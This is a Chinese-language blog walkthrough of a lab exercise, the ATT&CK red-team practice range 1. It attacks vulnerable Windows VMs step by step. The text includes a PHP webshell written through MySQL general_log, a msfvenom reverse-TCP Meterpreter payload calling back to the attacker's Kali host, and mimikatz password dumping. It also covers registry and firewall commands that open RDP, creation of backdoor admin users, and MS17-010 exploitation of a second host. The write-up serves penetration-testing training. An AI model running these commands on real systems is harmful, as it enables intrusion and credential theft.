0x00 关于
描述
[collapse status="false" title="这玩太长了。。点我查看"]红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
[/collapse]
下载
文件大小: 13 GB
文件MD5: e16fd0f6a5104aef0dfa73460afff0e8
文件SHA1: 078ce02d01298fe40a1feb8260fde79d5fb06bc6
下载地址:ATT&CK红队评估实战靶场1
密码:n1u2
更多信息请点我
0x01 环境搭建
这里使用的是VMware虚拟机,靶机下载下来一共有三个,VM1为Win7,VM2为Win2003,VM3为Win2008
VMware网络编辑器配置如下:
攻击机kali
网卡设置为:VMnet8(NAT模式)
VM1(Win7)
添加一块网卡,分别设置为:VMnet1(仅主机模式)
、VMnet8(NAT模式)
VM2(Win2003)
网卡设置为:VMnet1(仅主机模式)
VM2(Win2008)
网卡设置为:VMnet1(仅主机模式)
关于VMware的三种网络连接模式:桥接模式、NAT模式以及仅主机模式的介绍和区别
[scode type="green"]然后需要进入VM1(Win7)
的C:\phpStudy
下手动打开phpStudy
第一次登陆可能需要叫你更改密码
[/scode]
0x02 信息收集
主机发现
kali机IP:192.168.255.130
VM1(Win7)机IP:192.168.255.131
端口扫描
目标开放端口:
端口 | 描述 |
---|---|
80 | http |
3306 | mysql |
0x03 漏洞挖掘
phpmyadmin后台的getshell方法有很多种
先看下常规的select into outfile
:
这里secure_file_priv
为null
,不允许写入写出。
放弃此方法,尝试MySQL通用查询日志general_log
写出webshell。
先看下全局变量的配置show global variables like '%general%'
:
这里并没有开启通用日志,那我就自己打开,并自定义保存文件:
SET GLOBAL general_log = 'ON'
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php'
[scode type="yellow"]这里的绝对路径是通过前面的探针获取到的。[/scode]
然后随便写一句select '<?php @eval($_POST["123"]);?>'
执行后就成了
0x04 内网渗透
为了方便后续渗透,我们可以反弹一个msf的shell。
kali上配置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.255.130
set lport 8848
run
msfvenommsfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=8848 -f exe -o shell.exe
生成的shellcode,用蚁剑上传到VM1,然后执行
在kali上接收到反弹的shell:
下面开始抓取本地管理员的密码
尝试下getsystem
提权成功:
抓取密码可以加载mimikatz
1.
mimikatz
可以从 lsass.exe 进程里获取windows处于active状态账号的明文密码。
2.mimikatz
模块的使用需要Administrator权限或者System权限。MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统
,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。而且在64位系统下必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。但是在32位系统下则没有这个限制。
VM1是64位
系统,我们使用ps
命令查看进程,找一个64位的进程,并且用户是NT AUTHORITY\SYSTEM
,这样迁移后meterpreter的权限是迁移到的进程的权限。
这里就随便选个进程ID336的进程:
kerberos
:kerberos相关的模块livessp
:尝试检索livessp凭据mimikatz_command
:运行一个定制的命令msv
:msv凭证相关的模块,列出目标主机的用户密码哈希ssp
:ssp凭证相关的模块tspkg
:tspkg凭证相关的模块wdigest
:wdigest凭证相关的模块
我们这里使用的mimikatz_command
模块
通过加载一个不存在的模块a,让其报错,来使mimikatz_command显示全部功能mimikatz_command -f a::
我们选择sekurlsa
下的searchPasswords
功能来查看明文密码mimikatz_command -f sekurlsa::searchPasswords
获得密码hongrisec@2019..
[scode type="blue"]这里我后续尝试的时候抓取不到密码,自己上传个mimikatz就行了upload /root/mimikatz.exe c:\\phpstudy\\WWW
这里本身就是NT AUTHORITY\SYSTEM
,就不用privilege::debug
进行提权了
下面直接运行,然后sekurlsa::loginPasswords
抓取密码
[/scode]
下面尝试远程登录。刚开始端口扫描结果没扫除3389端口。所以我们需要手动开启REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
在重新查看下端口信息netstat -ano | find "3389"
这里直接远程连接也是连不上的,需要关闭VM1的防火墙netsh advfirewall set allprofiles state off
[scode type="yellow"]注:这里的用户名需要填写域名\域用户名
即God\Administrator
[/scode]
也可自行创建用户,并提升为管理权限:
net user username password /add
net localgroup administrators username /add
下面开始拿第二台机器
获取内网网段run get_local_subnets
:
添加路由run autoroute -s 192.168.52.0/24
:
利用VM1发现内网网段下的IP,VM1下cmd执行:for /L %i IN (1,1,254) DO ping -w 2 -n 1 192.168.52.%i
关于该语句for list of numbers解释:
FOR /L %%parameter IN (start,step,end) DO command
为了后续方便我们可以使用msf的auxiliary/server/socks4a
模块设置代理
[scode type="share"]添加路由是为了让msf下的模块能通过VM1传递会话来访问内网主机,而设置代理是为了让攻击机上其他软件来访问内网机器[/scode]
先用msf的auxiliary/scanner/portscan/tcp
扫下VM2
的端口:
根据上面姿势用MS08-067
:
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run
[scode type="yellow"]看了下其他大佬的wp,似乎MS08-067和msf的ms17_010_psexec
模块都用利用不了。
最后用的ms17_010_command
模块来执行命令,添加用户,关防火墙。命令如下:
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command net user test @!FuckSEC!@ /add #添加用户
run #成功执行
set command net localgroup administrators test /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run #成功执行
[/scode]
评论已关闭